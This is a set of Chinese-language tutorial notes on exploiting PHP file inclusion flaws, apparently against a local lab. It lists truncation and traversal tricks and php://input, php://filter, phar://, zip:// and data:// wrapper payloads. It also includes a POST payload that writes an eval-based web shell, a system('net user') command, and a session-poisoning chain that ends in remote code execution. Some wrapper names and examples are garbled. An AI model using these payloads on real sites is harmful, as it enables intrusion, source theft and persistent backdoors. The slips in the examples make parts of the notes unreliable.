php发现敏感名称的目录漏洞,11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE...

远程文件包含利用知识

配置条件：

Allow_url_fopen打开

Allow_url_include打开

%00截断(php<5.3版本)

%00截断：http://127.0.0.1/include/test.php?file=file1.html%00

有后缀名限制的文件包含

Include($_GET[“file”].”.php”);

127.0.0.1/include/test.php?file=../../../../123.txt 这样的会直接目录跳转

同时又前后缀限制，需要重点考虑后缀名的绕过，方法如下：

%00截断

路径长度截断

?file=../../../../../boot.ini/./././.~~~~./././

PHP<5.2.8可以成功，linux需要文件名长于4096，windows需要长于256

PHP伪协议

Include($_POST[“a”]);

a=如下

zip://     处理zip数据流

phar://   处理rar数据流

PHP协议(get、post自己看着定)

?file=php://input    POST: phpinfo();?>

利用条件：allow_url_include = On，对allow_url_fopen不做要求

如果将POST的数据修改为：

<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>");?>

在当前的页面的目录下生成shell.php

include($_POST[“a”]);

a=php://input&<?php system('net user');?>

php://filter

条件：无

读取文件中内容(站点源码或者其他敏感文件)

file=php://filter/read=convert.base64-encode/resource=index.php

file=php://filter/convert.base64-encode/resource=index.php

file=php://filter/string.rot13/resource=index.php

string.rot13 对字符串执行ROT13转换

string.toupper转换为大写

string.tolower 转换为小写

string.strip_tags去除html和php标记

convert.base64-encode & convert.base64-decode ：base64编码/解码

<?php phpinfo();?>--ROT13--> <?cuc cucvasb();?>  te.php

file=php://filter/string.rot13/resource=te.php  (最后直接执行)

如果使用rot13编码的方式去读PHP文件需要注意模块short_open_tag的开关情况，

则该方法仅限于当short_open_tag不开启的时候，读出来之后rot13解密即可！

Phpar://

要求：php>=5.30

ifno.txt打包成zip文件放到服务器目录中

相对路径访问：

127.0.0.1/include/test.php?a=phar://info.zip/info.txt

绝对路径访问：

127.0.0.1/include/test.php?a=phar://文件地址

zip://

要求：php>=5.3

只能使用绝对路径访问，并且将在压缩包后的/改为%23(#的url写法)

127.0.0.1/include/test.php?a=phar://文件地址/ifno.zip%23info.txt

data://

条件：php>5.2

Allow_url_fopne=on

Allow_url_include=on

127.0.0.1/include/test.php?a=data://text/plain,<?php phpinfo();?>

注意有“,”

变形：64位加密并换为url

127.0.0.1/include/test.php?a=data://text/plain;base64,<?php phpinfo();?>(继续变)

127.0.0.1/include/test.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(继续变)

127.0.0.1/include/test.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b(可用)

文件包含漏洞包含本地session最终实现RCE

Step1：找到文件包含漏洞点：127.0.0.1/fileInclude/nojieduan.php?file=test.txt

Step2：审计代码，发现可以往session文件中写入恶意代码(自己写)

修改浏览器中的参数x-forwarded-for的值

再次访问页面，就会在session中写入刚刚的值

从下面我们能知道该session的名称，或者直接文件中找

之后访问就能成功执行漏洞的语句127.0.0.1/fileInclude/nojieduan.php?file=D:\phpstudy_pro\Extensions\tmp\tmp\sess_f5ia0fjppgdriretmrh4bvq0u4

(session文件开头一般是sess_)

Step3：包含执行里面的恶意代码

共享文件实现有限条件下的远程文件包含

当allow_url_inculde和allow_url_fopen都是off的时候直接通过HTTP去进行远程文件包含会包含失败，但是可以通过SMB协议在这种情况下进行远程文件包含